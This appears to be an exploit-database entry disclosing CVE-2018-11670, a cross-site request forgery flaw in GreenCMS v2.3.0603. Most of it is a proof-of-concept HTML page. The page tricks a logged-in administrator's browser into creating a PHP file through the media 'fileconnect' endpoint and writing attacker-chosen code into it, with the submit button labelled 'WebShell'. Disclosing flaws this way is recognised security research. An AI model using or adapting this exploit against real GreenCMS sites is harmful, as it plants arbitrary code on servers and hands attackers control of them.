# Exploit Title: GreenCMS v2.3.0603 CSRF vulnerability get webshell
# Date: 2018-06-02
# Exploit Author: xichao
# Vendor Homepage: https://github.com/GreenCMS/GreenCMS
# Software Link: https://github.com/GreenCMS/GreenCMS
# Version: v2.3.0603
# CVE : CVE-2018-11670
An issue was discovered in GreenCMS v2.3.0603. There is a CSRF vulnerability that
allows attackers to execute arbitrary PHP code via the content parameter to index.php?m=admin&c=media&a=fileconnect.
poc:
<span style=”font-size:18px;”><!DOCTYPE html>
<html lang=”en”>
<head>
<meta charset=”UTF-8″>
<title>csrftest</title>
</head>
<form action=”http://127.0.0.1//14/index.php?m=admin&c=media&a=fileconnect” method=”POST” id=”transfer” name=”transfer”>
<script src=”http://127.0.0.1/14/index.php?m=admin&c=media&a=fileconnect&cmd=mkfile&name=xc.php&target=l1_XA&_=1527839615462″></script>
<input type=”hidden” name=”cmd” value=”put”>
<input type=”hidden” name=”target” value=”l1_eGMucGhw”>
<input type=”hidden” name=”content” value=”<?php phpinfo();?>”>
<button type=”submit” value=”Submit”>WebShell</button>
</form>
</body>
</html></span>
References:
http://www.iwantacve.cn/index.php/archives/38/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11670
https://github.com/GreenCMS/GreenCMS/issues/108
